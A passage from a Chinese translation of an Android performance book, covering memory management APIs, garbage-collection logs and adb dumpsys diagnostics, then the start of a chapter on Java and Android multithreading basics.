正如我们将在下一章看到的,如果内部调用可以使用Service.stopSelf()停止服务,如果外部调用可以使用Context.stopService()。每次不再工作时都必须这样做,因为Service对象不会自行结束。但为了改善我们应用程序的内存和进程管理,我们应该尽可能使用IntentService而不是简单的Service,因为这种类型的服务在后台工作完成后会自动结束。

提示

尽可能使用IntentService,因为它能自动结束并避免因服务产生的内存泄漏。这是我们能犯的最糟糕的内存错误之一。如果你不能使用IntentService,请确保Service在完成任务后立即结束。

进程

一些应用程序使用特殊技术通过不同的进程分离内存负载。正如我们将在第五章 多线程 中看到的,Android 中的每个组件默认都在主进程中执行,但通过在清单文件中为每个希望单独执行的组件定义进程名称,它们也可以在单独的进程中执行。

<service
    android:name=".MainService"
    android:process=":MainService"></service>

这样做有利于代码剖析,因为你可以在不影响其他进程的情况下分析单个进程。此外,它简化了 Android 系统进程管理。但我们必须注意适当管理内存,否则我们可能会产生相反的效果,不仅没有减少内存分配,反而增加了它。因此,创建多进程应用程序的一些简单建议如下:

  • 每个进程中的常见实现都是重复的,因此尽量减少它们。进程之间的分离应该是清晰的,共同的对象应尽可能减少。

  • UI 应由一个进程处理,因为为其分配的内存取决于许多因素,如位图和资源分配。无论如何,应用程序一次只能显示一个活动。

  • 进程间的关系非常重要,因为如果一个进程依赖于另一个进程,系统就无法删除它。这意味着我们需要注意使用那些可以访问更多进程的组件,因为在这种情况下,内存性能的优势会被抵消。因此,在使用诸如ContentProviderService这类可能被多个进程访问的组件时要特别小心。分析这种情况下的影响,以改进解决方案的架构。

内存 API

如果我们的应用程序处于低内存状态,我们该怎么办?如果我们的应用程序需要分配过多内存又该如何?让我们看看平台提供的内容是否真的有帮助。

不同的设备意味着分配内存的不同 RAM 量。那么,我们的应用程序将必须响应这一特定要求。Android 提供了一种特定方式,允许我们在应用程序中请求大堆内存。这可以通过在清单文件的application节点中添加属性来实现,如下例所示:

<application
    …
    android:largeHeap="true">
    …
</application>

但是,这一大块内存是针对应用程序创建的每个进程请求的。这仅仅是向系统提出的一个请求,我们不确定我们的进程是否会比正常情况下有更大的堆内存。请记住,如果我们无法在应用程序中进行自由的内存管理,或者面临OutOfMemoryError,则不应使用此功能。如果你遇到这样的错误,那么请分析你的代码,捕捉任何可能的内存异常,并减少内存泄漏。只有少数应用程序应该能够请求大堆内存:那些对内存有极端正当需求的应用程序。一般来说,它们是处理高级照片、视频和多媒体编辑的应用程序。然后这个技巧可能避免OutOfMemoryError,但也可能产生与垃圾收集时间相关的效果:可用堆越高,收集限制越高,收集器需要的时间就越长。因此,收集时间的增加可能会影响我们 16 毫秒的目标,导致 UI 卡顿。

提示

切勿在 Android 清单文件中使用largeHeap属性以避免OutOfMemoryError:这并非解决方案,也不是技巧。相反,它可能导致用户体验问题,并可能影响设备的整体性能。

有一个有用的类叫做ActivityManager,它提供了请求内存消耗和可用性信息的方法。其中一些如下:

  • getMemoryClass:这返回了分配给应用程序的兆字节。这可以用来估计我们将使用的内存量或应用程序中使用的图片质量。

  • getLargeMemoryClass:这与getMemoryClass()方法相同,但适用于请求大堆内存的情况。

  • getMemoryInfo:这会返回一个包含有关内存系统相关状态有用信息的MemoryInfo对象:

    • availMem:可用的系统内存。

    • lowMemory:一个布尔值,表示系统是否处于低内存状态。

    • threshold:系统处于低内存状态并可以开始移除进程的内存阈值。

  • getMyMemoryState:这将返回包含有关调用进程有用信息的RunningAppProcessInfo

    • lastTrimLevel:这是进程的最后修剪级别。

    • importance:进程的重要性。正如我们将在第五章 多线程 中看到的,每个进程都有自己的优先级,系统会根据其级别决定是否移除它。

  • isLowRamDevice:这将返回设备是否需要被视为低内存设备。根据我们需要的内存,这可以用来启用或禁用功能。

例如,请看以下代码段:

ActivityManager activityManager = (ActivityManager) getSystemService(ACTIVITY_SERVICE);
int capacity = 20;
if (activityManager.isLowRamDevice()) {
    capacity = 10;
}
…

这个特别的方法是从 Android KitKat(API 级别 19)开始添加到平台的,但有一个兼容类执行相同的操作:

int capacity = 20;
if (ActivityManagerCompat.isLowRamDevice()) {
    capacity = 10;
}
…

最后一个,让我们谈谈System.gc()方法,它强制请求触发垃圾收集器。它可以在任何地方使用,但不能保证垃圾收集器何时会被触发。此外,我们更应该遵循一致的策略来管理应用程序生命周期中的内存,并分析我们的代码以找到内存泄漏和内存波动。

主要组件和内存管理

在 Android 提供的四个主要组件中,BroadcastReceivers是唯一不需要特定内存管理策略的组件:它们的生命周期与唯一的BroadcastReceiver.onReceive()方法相关,执行完毕后就会被销毁。显然,这对于其他三个主要组件并不适用,因为它们会一直存在,直到我们销毁它们或系统在需要内存时销毁它们。

因此,它们都实现了ComponentCallback接口。我们特别关注一个方法:ComponentCallback.onLowMemory()方法。每次系统在低内存状态下运行并开始杀死进程之前,都会执行其实现。因此,这是一个释放我们应用程序部分内存的好机会。这里我们不是在谈论内存泄漏,而是其他类型的内存保持,比如堆缓存对象。然后,重写该方法以释放持有的对象。

不幸的是,这个ComponentCallback.onLowMemory()方法是在系统已经开始杀死其他进程之后被调用的。这不好,因为从零开始重新创建应用比从后台恢复要昂贵得多。这就是为什么在 Android 平台开发过程中,上面描述的回调被改进了,通过定义一个名为ComponentCallback2ComponentCallback的子接口。它引入了一个更具体的方法,并继承了ComponentCallback.onLowMemory()方法。它从 Android Ice Cream Sandwich(API 级别 14)开始可用。这意味着从 Android 14 开始,Android 的主要组件实现这个接口,而不是ComponentCallback接口,因此早期版本中没有ComponentCallback方法。

我们正在讨论的方法是ComponentCallback2.onTrimMemory()。它背后的想法与ComponentCallback.onLowMemory()方法相同,但在这里,系统为我们提供了系统中内存消耗紧急程度的级别。我们的应用可以处于两种不同的状态,与它的可见性相关,每个状态可以接收不同级别的内存。如前所述,系统中的所有进程都使用 LRU 策略进行管理,定义了一个从当前进程到更老进程的列表。位于底部的进程是首先被删除以回收内存的。

让我们看看应用的可视性和它们的 LRU 位置:

  • Visible:应用当前正在运行,位于 LRU 的顶部

  • Invisible:应用不再可见,开始从列表中下降,直到到达尾部被销毁,或者再次变得可见时移到顶部。

ComponentCallback.onTrimMemory()方法传递一个整数值作为参数。根据这个参数,我们可以采取不同的行动,以防止进程到达底部并被销毁。在这种情况下,需要重新初始化应用程序:这比恢复缓存的前一个状态获取数据要昂贵得多。

这些方法中用作参数的常量如下:

  • TRIM_MEMORY_RUNNING_MODERATE:应用可见,系统开始进入低内存状态。

  • TRIM_MEMORY_RUNNING_LOW:应用可见,内存设备正在变低。

  • TRIM_MEMORY_RUNNING_CRITICAL:应用可见,内存设备处于临界状态,可能需要销毁其他进程以释放内存。

  • TRIM_MEMORY_UI_HIDDEN:应用不可见。这只是通知应用不再可见,你应该释放一些内存的回调。

  • TRIM_MEMORY_BACKGROUND:应用不可见,并且已在 LRU 列表中开始下降,且设备内存不足。

  • TRIM_MEMORY_MODERATE:应用不可见,已达到 LRU 列表的中间位置,且设备内存不足。

  • TRIM_MEMORY_COMPLETE:应用不可见,已达到 LRU 列表的底部,且设备内存不足,因此应用程序即将被杀死。

当系统开始杀死进程时,它会通过分析内存消耗来决定杀死哪个进程。这意味着我们的应用程序消耗的内存越少,被杀死的可能性就越小,恢复速度也就越快。

如果应用程序在内存管理上结构良好,那么在触发此类事件时释放内存的一个好做法可能是:

@Override
public void onTrimMemory(int level) {
    switch (level) {
        case TRIM_MEMORY_COMPLETE:
            //app invisible - mem low - lru bottom
        case TRIM_MEMORY_MODERATE:
            //app invisible - mem low - lru medium
        case TRIM_MEMORY_BACKGROUND:
            //app invisible - mem low - lru top
        case TRIM_MEMORY_UI_HIDDEN:
            //app invisible - lru top
        case TRIM_MEMORY_RUNNING_CRITICAL:
            //app visible - mem critical - lru top
        case TRIM_MEMORY_RUNNING_LOW:
            //app visible - mem low - lru top
        case TRIM_MEMORY_RUNNING_MODERATE:
            //app visible - mem moderate - lru top
            break;
    }
}

如果你从不同的缓存或级别释放对象,移除switch语句中的断点,每个案例都会再次执行,以在更关键的状态下释放内存。

除了主要组件外,此接口还由ApplicationFragment类实现。这样我们也可以在单个片段内部释放内存,使用onTrimMemory()方法。

调试工具

了解内存泄漏和内存碎片是什么,以及我们可以采取哪些策略来避免它们,现在我们需要知道如何找到它们,以及如何从内存角度分析我们的代码。

正如本章多次提到的,我们必须始终关注应用程序进程使用的堆内存量,尽量保持其尽可能低,并在检查垃圾收集器行为的同时尽可能释放资源。我们的应用程序需要能够与具有各种不同 RAM 量的设备上的其他应用程序共存。因此,考虑到这一点,我们将关注有助于分析内存使用的工具,并了解如何读取与垃圾回收相关的常见日志。

LogCat

最简单的工具无疑是 LogCat,它用于打印通知我们关于内存趋势和垃圾回收事件的消息。LogCat 中与内存相关的每条消息根据设备运行时都有相同的格式。因此,我们将检查两个 Android 运行时,先从 Dalvik 开始,然后是 ART。通常,开发者没有花足够的时间分析这些日志。如果我们想要了解应用程序的行为是否正确,这些日志非常重要。

Dalvik

在 LogCat 中,Dalvik 内存日志打印的格式如下:

D/dalvikvm: <GcReason> <AmountFreed>, <HeapStats>, <ExternalMemoryStats>, <PauseTime> 

让我们了解日志中每个元素的含义:

  • GcReason:这是触发垃圾收集的原因。所有应用程序线程都被阻塞,等待收集完成。可能的值如下:

    • GC_CONCURRENT:当堆需要清理时,它跟随 GC 事件。

    • GC_FOR_MALLOC:跟随新内存分配的请求,但没有足够的空间进行分配。

    • GC_HPROF_DUMP_HEAP:跟随一个调试请求,对堆进行剖析。我们将在接下来的页面中了解这意味着什么。

    • GC_EXPLICIT:跟随强制明确的System.gc()请求,正如我们提到的,应该避免这样做。

    • GC_EXTERNAL_ALLOC:跟随外部内存的请求。这只能在 Android Gingerbread(API 级别 10)或更低版本的设备上发生,因为那些设备内存有不同的条目,但对于后来的设备,内存作为一个整体在堆中处理。

  • AmountFreed:这是垃圾收集器能够释放的内存量。

  • HeapStats:这是指内部堆,由以下内容组成:

    • 自由堆占总额的百分比

    • 分配的堆大小

    • 总堆大小

  • ExternalMemoryStats:这是指 Android Gingerbread(API 级别 10)或更低版本的设备的外部内存。它包含以下内容:

    • 分配的外部内存大小

    • 总外部内存大小

  • PauseTime:这是垃圾收集的暂停持续时间。

以下是 Dalvik 日志的一个示例,以展示它在 LogCat 中可能的样子:

D/dalvikvm(9932): GC_CONCURRENT freed 1394K, 14% free 32193K/37262K, external 18524K/24185K, paused 2ms

ART

ART 内存日志格式相当不同,但仍然可读。然而,ART 与 Dalvik 运行时的行为不同:并非每个垃圾收集器事件都会记录在 LogCat 中。ART 仅记录强制事件以及垃圾收集器暂停时间超过 5 毫秒或持续时间超过 100 毫秒的事件。

这是其格式:

I/art: <GcReason> <GcName> <ObjectsFreed>(<SizeFreed>) AllocSpace Objects, <LargeObjectsFreed>(<LargeObjectSizeFreed>) <HeapStats> LOS objects, <PauseTimes>

这一次,日志中的元素如下:

  • GcReason:这是触发垃圾收集的原因。可能的值如下:

    • Concurrent:跟随并发 GC 事件。这种事件在不同于分配线程的不同线程中执行,因此它不会强制其他应用程序线程停止,包括 UI 线程。

    • Alloc:跟随新内存分配的请求,但没有足够的空间进行分配。这时,所有应用程序线程都会被阻塞,直到垃圾回收结束。

    • Explicit:跟随强制明确的System.gc()请求,对于 ART 和 Dalvik 都应该避免这样做。

    • NativeAlloc:跟随本地分配的内存请求。

    • CollectorTransition:在低内存设备上跟随垃圾收集器切换。

    • HomogenousSpaceCompact:跟随系统减少内存使用和堆碎片整理的需要。

    • DisableMovingGc:在调用特定内部方法GetPrimitiveArrayCritical之后,跟随收集块。

    • HeapTrim:因为堆修剪未完成,跟随收集块。

  • GcName:ART 使用不同的垃圾收集器来释放内存,它们有不同的行为,但我们对此没有选择,而且这些信息对我们的分析并不非常有用。无论如何,名称的可能值如下:

    • 并发标记清除(CMS)

    • 并发部分标记清除

    • 并发粘性标记清除

    • 标记清除 + 半空间

  • ObjectFreed:释放的对象数量。

  • SizeFreed:释放对象的总大小。

  • LargeObjectFreed:从大空间释放的对象数量。

  • LargeObjectSizeFreed:从大空间释放的对象总大小。

  • HeapStats:这类似于 Dalvik 的功能。它包含自由堆空间的百分比、已分配堆的大小和总堆大小。

  • PauseTimes:这是垃圾回收暂停的持续时间。

让我们看一个 ART 日志的例子:

I/art : Explicit concurrent mark sweep GC freed 125742(6MB) AllocSpace objects, 34(576KB) LOS objects, 22% free, 25MB/32MB, paused 1.621ms total 73.285ms

ActivityManager API

我们之前已经讨论过这个类,但这次我们想要展示其他在从内存角度分析应用程序时可能有所帮助的方法。有两种方法可以帮助我们在调试时找到与内存相关的问题,但只有在应用程序可调试的情况下才能使用。我们讨论的是以下方法:

  • setWatchHeapLimit

  • clearWatchHeapLimit

第一个方法特别允许我们对堆内存设置一个警报:当达到设定的堆内存量时,设备会自动进行堆转储,我们可以分析结果以了解是否发生了内存泄漏。第二个方法旨在移除设定的限制。此外,这个类提供了一个由ActivityBroadcastReceiver处理的行为,以通知我们已达到限制并已进行堆转储。这个行为如下:

ActivityManager.ACTION_REPORT_HEAP_LIMIT

不幸的是,这些方法仅在 Android Marshmallow(API 级别 23)及以上版本可用,但这样我们可以在系统对内存进行分析以供后续分析时继续测试。

StrictMode

平台提供的另一个非常有用的 API 是StrictMode。这个类用于查找内存和网络问题。在这里我们只处理内存部分,而在第六章网络中,我们将处理网络方面的问题。

如果启用,它将在后台运行,并通知我们存在问题以及发生的时间,这取决于我们选择的政策。然后,在使用这个功能时需要定义两件事:跟踪什么以及如何跟踪。为此,我们可以使用StrictMode.VmPolicy类和StrictMode.VmPolicy.Build类,如下所示:

if (BuildConfig.DEBUG) {
    StrictMode.VmPolicy policy = new StrictMode.VmPolicy.Builder()
            .detectAll()
            .penaltyLog()
            .build();
    StrictMode.setVmPolicy(policy);
}

让我们看看我们可以观察到什么:

  • detectActivityLeaks:它会检测活动泄漏。

  • detectLeakedClosableObjects:它会检测Closable对象是否被终结,但未被关闭。

  • detectLeakedRegistrationObjects:当Context被销毁时,它会检测是否泄漏了ServiceConnectionBroadcastReceiver

  • detectSqlLiteObjects:它会检测 SQLite 对象是否被终结,但未被关闭。

  • detectAll:它会检测所有可疑行为。

它们可以一起使用来检测多个事件。现在,让我们看看它是如何通知开发者的:

  • penaltyDeath:当检测到问题时,进程将被杀死,应用将崩溃。

  • penaltyDropBox:当检测到问题时,相关的日志会被发送到DropBoxManager,后者会收集它们以供调试。

  • penaltyLog:当检测到问题时,它会记录日志。

通过指定类名及其出现的次数,可以很有效地了解哪个类没有遵守限制。以下是日志的一个示例:

E/StrictMode: class com.packtpub.androidhighperformanceprogramming.TestActivity; instances=2; limit=1 android.os.StrictMode$InstanceCountViolation: class com.packtpub.androidhighperformanceprogramming.TestActivity; instances=2; limit=1
at android.os.StrictMode.setClassInstanceLimit(StrictMode.java:1)

注意

在调试和测试环境中启用StrictMode,以检测任何内存问题,最重要的是,正如我们在本章前面所讨论的,活动泄漏。记得在发布版本中禁用它,因为它可能会在将来 Android 版本中用于不同的检测,并且即使它不发声,在后台也是活跃的,消耗我们可能需要的达到性能目标的资源。

Dumpsys

Dumpsys 工具在每一部 Android 设备中都有,它让我们能够获取关于设备内每个服务的令人印象深刻的信息量。它可以通过在终端调用以下命令来使用:

adb shell dumpsys <SERVICE>

该服务是可选的,但如果你不指定你感兴趣的是哪个服务,那么所有服务的结果都会被打印出来,这可能会有些混淆。服务的可用性取决于设备上安装的特定 Android 版本。然后,为了获取设备上可用的服务完整列表,请调用以下命令:

adb shell service list

对于它们中的每一个,你可以通过简单地像之前一样调用并最后加上–h参数,来查看可以添加的可能参数:

adb shell dumpsys <SERVICE> -h

在接下来的页面中,我们将展示两个特别有用的dumpsys服务,从内存的角度来分析我们的代码。

Meminfo

Meminfo 工具显示了关于设备上内存使用情况的重要信息。调用它的命令如下:

adb shell dumpsys meminfo

让我们看看以下打印内容:

Applications Memory Usage (kB):
Uptime: 239111 Realtime: 239111

Total PSS by process:
 64798 kB: system (pid 1299)
 33811 kB: com.android.systemui (pid 1528)
 30001 kB: com.google.android.gms (pid 2006)
 29371 kB: com.android.launcher3 (pid 2388 / activities)
 25394 kB: com.google.process.gapps (pid 1923)
 21991 kB: com.google.android.gms.persistent (pid 1815)
 21069 kB: com.google.android.apps.maps (pid 2075)
 20067 kB: com.google.android.apps.messaging (pid 2245)
 17678 kB: zygote (pid 966)
 17176 kB: com.android.phone (pid 1750)
 15637 kB: com.google.android.gms.unstable (pid 2576)
 10041 kB: android.process.acore (pid 1555)
 9961 kB: com.android.inputmethod.latin (pid 1744)
 9692 kB: android.process.media (pid 1879)
 9333 kB: com.google.android.gms.wearable (pid 2112)
 8748 kB: com.android.email (pid 2054)

PSS是 Linux 的比例集大小指标。它指的是应用程序使用的总内存量。

我们可以通过询问有关特定进程的详细信息的 pid 来进一步了解:

adb shell dumpsys meminfo <PID>

然后,我们将在屏幕上看到如下内容:

Applications Memory Usage (kB):
Uptime: 6489195 Realtime: 6489195

** MEMINFO in pid 2693 [com.packtpub.androidhighperformanceprogramming.chap4] **
 Pss  Private  Private  Swapped     Heap 
 Total    Dirty    Clean    Dirty     Size 
 ------   ------   ------   ------   ------
 Native Heap     3150     3060        0        0    16384 
 Dalvik Heap     2165     2088        0        0     2274 
 Dalvik Other      292      280        0        0
 Stack      128      128        0        0
 Other dev        4        0        4        0
 .so mmap      862      100        8        0
 .apk mmap      218        0       52        0
 .ttf mmap       20        0        0        0
 .dex mmap     3848        0     3844        0
 .oat mmap     1134        0       40        0
 .art mmap     1015      520        0        0
 Other mmap        7        4        0        0
 Unknown       77       76        0        0
 TOTAL    12920     6256     3948        0    18658 

 Objects
 Views:       36         ViewRootImpl:        1
 AppContexts:        3           Activities:        1
 Assets:        2        AssetManagers:        2
 Local Binders:        8        Proxy Binders:       13
 Parcel memory:        3         Parcel count:       12
 Death Recipients:        0      OpenSSL Sockets:        0

 SQL
 MEMORY_USED:        0
 PAGECACHE_OVERFLOW:        0          MALLOC_SIZE:        0

它包含了我们应用程序在前台的内存使用情况。表的前两列指的是我们应该监控的已分配内存:那里的意外值可能意味着内存泄漏。

ProcStats

Android KitKat(API 级别 19)引入了 ProcStats 工具,它能够提供关于进程及其内存的重要信息。它可以分析与应用程序相关的所有进程的使用情况,跟踪后台或前台进程,它们的内存使用情况以及运行时间。

用来查看整个系统的一般统计信息的命令如下:

adb shell dumpsys procstats –hours 3

这将输出一个按运行时间排序的进程列表。让我们看一个例子,以了解如何阅读它:

AGGREGATED OVER LAST 3 HOURS:
 * system / 1000 / v23:
 TOTAL: 100% (62MB-64MB-67MB/55MB-57MB-59MB over 16)
 Persistent: 100% (62MB-64MB-67MB/55MB-57MB-59MB over 16)
 * com.android.systemui / u0a14 / v23:
 TOTAL: 100% (35MB-36MB-36MB/29MB-30MB-31MB over 16)
 Persistent: 100% (35MB-36MB-36MB/29MB-30MB-31MB over 16)
 Service: 0.01%
 * com.android.inputmethod.latin / u0a33 / v23:
 TOTAL: 100% (11MB-11MB-11MB/8.2MB-8.2MB-8.2MB over 16)
 Imp Bg: 100% (11MB-11MB-11MB/8.2MB-8.2MB-8.2MB over 16)
 * com.google.android.gms.persistent / u0a7 / v8185470:
 TOTAL: 100% (22MB-22MB-23MB/17MB-17MB-17MB over 16)
 Imp Fg: 100% (22MB-22MB-23MB/17MB-17MB-17MB over 16)
 * com.android.phone / 1001 / v23:
 TOTAL: 100% (18MB-18MB-19MB/14MB-15MB-16MB over 16)
 Persistent: 100% (18MB-18MB-19MB/14MB-15MB-16MB over 16)
 * com.android.launcher3 / u0a8 / v23:
 TOTAL: 100% (28MB-29MB-32MB/23MB-24MB-28MB over 119)
 Top: 100% (28MB-29MB-32MB/23MB-24MB-28MB over 119)

Run time Stats:
 SOff/Norm: +1s478ms
 SOn /Norm: +4h1m17s720ms
 TOTAL: +4h1m19s198ms

Memory usage:
 Persist: 117MB (96 samples)
 Top    : 29MB (238 samples)
 ImpFg  : 23MB (198 samples)
 ImpBg  : 11MB (40 samples)
 Service: 56MB (127 samples)
 Receivr: 1.1KB (69 samples)
 CchEmty: 76MB (146 samples)
 TOTAL  : 312MB
 ServRst: 18 (11 samples)

 Start time: 2015-11-29 07:19:00
 Total elapsed time: +4h1m21s462ms (partial) libart.so 

列表中显示的每个进程都包含过去三小时的内存状态,格式如下:

percent (minPss-avgPss-maxPss / minUss-avgUss-maxUss)

虽然我们已经了解了 PSS 是什么,但USS代表单元集大小,它是私有内存。那么,让我们看看这些值的含义:

  • percent: 是进程执行三小时内的百分比时间

  • minPss:最小总内存

  • avgPss:平均总内存

  • maxPss:最大总内存

  • minUss:最小私有内存

  • avgUss:平均私有内存

  • maxUss:最大私有内存

当我们想要查看有关特定应用程序的详细信息时,可以使用以下方法,这与前一个相同,但这次我们添加了要分析的应用程序的包名:

adb shell dumpsys procstats com.packtpub.androidhighperformanceprogramming --hours 3

对此的打印结果如下所示:

AGGREGATED OVER LAST 3 HOURS:
System memory usage:
 SOn /Norm: 1 samples:
 Cached: 260MB min, 260MB avg, 260MB max
 Free: 185MB min, 185MB avg, 185MB max
 ZRam: 0.00 min, 0.00 avg, 0.00 max
 Kernel: 43MB min, 43MB avg, 43MB max
 Native: 39MB min, 39MB avg, 39MB max
 Mod: 1 samples:
 Cached: 240MB min, 240MB avg, 240MB max
 Free: 18MB min, 18MB avg, 18MB max
 ZRam: 0.00 min, 0.00 avg, 0.00 max
 Kernel: 43MB min, 43MB avg, 43MB max
 Native: 39MB min, 39MB avg, 39MB max
 Low: 1 samples:
 Cached: 232MB min, 232MB avg, 232MB max
 Free: 15MB min, 15MB avg, 15MB max
 ZRam: 0.00 min, 0.00 avg, 0.00 max
 Kernel: 43MB min, 43MB avg, 43MB max
 Native: 39MB min, 39MB avg, 39MB max
 Crit: 1 samples:
 Cached: 211MB min, 211MB avg, 211MB max
 Free: 12MB min, 12MB avg, 12MB max
 ZRam: 0.00 min, 0.00 avg, 0.00 max
 Kernel: 43MB min, 43MB avg, 43MB max
 Native: 39MB min, 39MB avg, 39MB max

Summary:

Run time Stats:
 SOff/Norm: +1s478ms
 SOn /Norm: +4h25m22s212ms
 Mod:  +5m2s547ms
 Low:  +1m21s22ms
 Crit: +2m54s947ms
 TOTAL: +4h34m42s206ms

在此情况下,我们可以分析在不同系统内存相关状态下的内存使用情况。上述输出意味着设备状态从正常变为中等,或低内存,或临界状态。我们的应用程序释放了资源,因此总内存量也因此下降。我们还知道,在那些特定状态下所花费的时间,是基于摘要中的运行时间统计内部的内容。

这对于理解当系统触发onTrimMemory()事件时所使用的策略是否正确,或者是否可以通过释放更多对象来改进非常有用。

ProcStats 工具也可以直接在设备内部使用:打开开发者设置,然后选择进程统计。你会看到类似图 6展示的内容,左屏显示了后台进程及其随时间变化的百分比,而右屏则展示了进程的详细信息:

ProcStats

图 6:设备上的 ProcStats

使用菜单,可以更改以下进程的持续时间和切换类型:

  • 后台进程

  • 前台进程

  • 缓存进程

进程统计屏幕中的进度条可以根据内存状态改变颜色:

  • 当内存状态正常时显示绿色

  • 当内存状态为中等时显示黄色

  • 当内存状态低或为临界时显示红色

摘要

在研究如何提高 Android 应用程序性能的过程中,内存至关重要,它是用户对我们应用程序感知的核心,尽管在开发过程中开发者往往最容易忽视这一方面。每位开发者都应该花时间检查他们正在开发的应用的内存管理:存在许多内存泄漏的可能性。因此,我们重点关注了 Android 垃圾回收的运作机制、内存泄漏的主要原因以及内存波动是什么。

我们定义了许多最佳实践,以帮助保持良好的内存管理,引入了有帮助的设计模式,并在开发过程中分析了最佳选择,这些选择实际上可以影响内存和性能。然后,我们查看了 Android 中最严重的泄漏的主要原因:与活动和服务等主要组件相关的原因。作为实践的结论,我们介绍了应该使用和不使用的 API,然后是其他能够为与系统和应用程序外部相关的事件定义策略的 API。

本章节最后一部分的目标是让开发者能够阅读内存日志,并使他们能够在调试阶段寻找内存异常的正确工具,并收集数据分析以对应用程序进行剖析。这样一来,他们可以轻松找到内存泄漏,进而搜索触发代码,并最终按照既定最佳实践应用修复,或改进他们应用程序的内存管理。

第五章:多线程

当手机市场开始下滑,智能手机市场兴起时,用户显然需要在移动设备上拥有强大的计算能力。对计算能力的不断增长的需求以及合适硬件的可用性导致了设备上的多核 CPU,允许并行执行多个任务。Android 工程师在这一切发生之前就已经知道了这一点。此外,这就是为什么我们有多种选项可以同时执行不同的任务,具有很大的灵活性,以及许多不同的组件可供选择以应用于我们的多线程策略。然而,我们做得好吗?为了回答这个问题,我们将了解线程的所有方面,从 Android 平台继承的 Java 框架线程基础到 Android 为此目的提供的所有类。我们还将了解 Android 如何处理其进程,以及我们如何在不同情况下正确选择合适的组件,因为并非所有组件都是可互换的。

处理多线程看似简单,但在多个线程之间的通信中存在许多陷阱。因此,我们将了解 Android 平台如何帮助我们处理这类问题,提供了一些有用的类,我们将在许多情况下使用它们。我们的目标是了解如何正确使用它们以及如何处理它们,以提高我们应用程序的性能。

作为开发者,我们的目标是衡量应用程序的性能。因此,在本章的最后部分,我们将介绍一个工具,用于检测某些代码是否在主线程中执行,从而降低了应用程序的响应性。

演练

我们将在这里定义所有需要了解的内容,以便处理像 Android 这样的多线程环境。理解线程是什么以及处理线程时可能遇到的问题至关重要。因此,我们会暂时聚焦于 Java 框架,因为每位 Android 开发者都应该了解这些概念,然后我们将关注该平台在 Android 中的定义以及与更多对象的集成。这为从应用程序内的多线程到不同进程间通信的所有级别提供了多种分离执行的方式,定义了一种特定的语言以实现目标。那么,让我们看看我们讨论的是什么。

线程基础

我们可以将线程视为一系列按顺序执行的指令。这些指令被翻译成由设备硬件执行的指令。当有多个部分指令需要执行时,环境就被称为多线程。这种技术有助于加速任何系统,因为并行执行总是比串行执行快。此外,这提高了具有用户界面的应用程序的响应性,并可能导致更好的资源管理和整个系统的管理。

Java 提供了java.lang.Thread包,其中包含许多用于处理多个线程间并发性的类。这是对实际后台执行的包装,对开发者不可见。因此,在深入理解 Android 框架之前,我们需要先了解 Java 框架。

多核 CPU

几年前,处理器一次只能执行一条指令。然而,线程框架已经存在。然后,使用时间分片技术按顺序执行来自多个线程的代码,而多线程只是一个虚构的概念。在这种情况下,我们无法知道虚拟机将按照什么顺序执行来自多个线程的代码。但是,具有多核技术的处理器已经存在了好几年。它们可以同时执行多个代码,使多线程成为现实。

线程

要创建一个线程,你可以使用Thread对象,然后调用Thread.start()方法以与当前线程并行启动其执行。这样,调用线程通知虚拟机需要一个新线程,然后虚拟机创建一个新线程并执行与Thread.run()方法内部代码相关的字节码。然而,该方法默认实现什么都不做。必须指出的是,直接调用Thread.run()方法而不是Thread.start()将在不创建新线程的情况下调用该方法,因此这是启动新线程的错误方式。有两种方法可以向线程的执行中添加代码:

  • 扩展 Thread :这种方式是创建一个扩展了Thread类的类,然后需要重写Thread.run()方法,以指定当调用Thread.start()时要执行的操作:

    public class ThreadActivity extends Activity {
    
        @Override
        protected void onCreate(Bundle savedInstanceState) {
            super.onCreate(savedInstanceState);
            MyThread thread = new MyThread();
            thread.start();
        }
    
        private class MyThread extends Thread {
            @Override
            public void run() {
                //code...
            }
        }
    }
    
  • 实现 Runnable 接口:这种方式,当调用Thread.start()时,要执行的代码将是Runnable.run()方法中的代码:

    public class ThreadActivity extends Activity implements Runnable {
    
        @Override
        protected void onCreate(Bundle savedInstanceState) {
            super.onCreate(savedInstanceState);
            Thread thread = new Thread(this);
            thread.start();
        }
    
        @Override
        public void run() {
            //code...
        }
    }
    

线程总是由另一个线程启动,因此总有一个特殊的线程称为主线程,它是应用程序首次启动和执行的地方。每次我们启动一个新线程时,主线程的执行都会分成两个独立的线路,如图 1*所示:

线程

图 1:线程操作

图 1中,展示了线程的不同操作:

  • 线程 1只是被创建和执行。它结束后就会被销毁,因为没有更多的执行在队列中。

  • 线程 2线程 1一样被创建和执行,但在其生命周期内会被暂停一段时间。这可以通过使用Thread.sleep()方法实现,指定要等待的毫秒数。在这段时间内,线程停止等待,直到达到超时时间,然后恢复运行操作。

  • 线程-3 被创建并执行,在其生命周期内,它启动了一个新线程并等待它。这意味着它不知道应该等待多久。这就是为什么,如果你不知道需要等待的时间,但需要等待另一个线程完成工作,你可以调用 Thread.join() 方法。当创建的线程完成其任务后,线程-3 可以继续执行直到结束。还可以为等待指定一个超时时间;当达到这个时间,线程-3 无论如何都会继续执行。

Java 为线程提供了优先级系统。这意味着我们可以改变线程的优先级,让它相对于其他线程执行得更快或更慢。有 10 个优先级级别。Java 还定义了最大、最小或正常优先级的三个常量。我们可以使用以下方法来改变线程优先级:

thread.setPriority(Thread.MAX_PRIORITY);
thread.setPriority(Thread.NORM_PRIORITY);
thread.setPriority(Thread.MIN_PRIORITY);

多线程应用程序

使用多线程的应用程序和系统需要面对一些问题,这些问题涉及到开发者,并迫使他们小心处理不同线程如何访问对象的问题。

应用程序中多个线程的执行顺序是不可预测的。无法保证哪个线程会先执行或先完成。而且,这里所指的不仅仅是代码块,还包括单行代码。在一些需要按预定顺序访问单一对象的临界情况下,这可能会引起担忧。想象一下,如果洗衣店的洗衣机和干衣机可以随意顺序地处理衣物,会出现什么情况。如果洗衣机先开始工作当然没问题,但如果干衣机先工作呢?或者更糟的是,如果它们交替进行短期工作会怎样?我们希望衣物先被洗净再烘干。也就是说,应该依次并按正确顺序访问这些负载。换句话说,我们需要防止当一个线程正在访问对象时,另一个线程也尝试访问。这意味着对负载的访问需要是同步的。

线程安全

线程安全的概念与多线程环境紧密相关。它指的是代码的安全执行,这种执行不会以并发方式改变共享数据。虽然对对象的读取访问可能不会对安全性构成问题,但写入访问却可能。如果一个多线程应用程序在共享对象上没有并发操作,那么它是线程安全的。

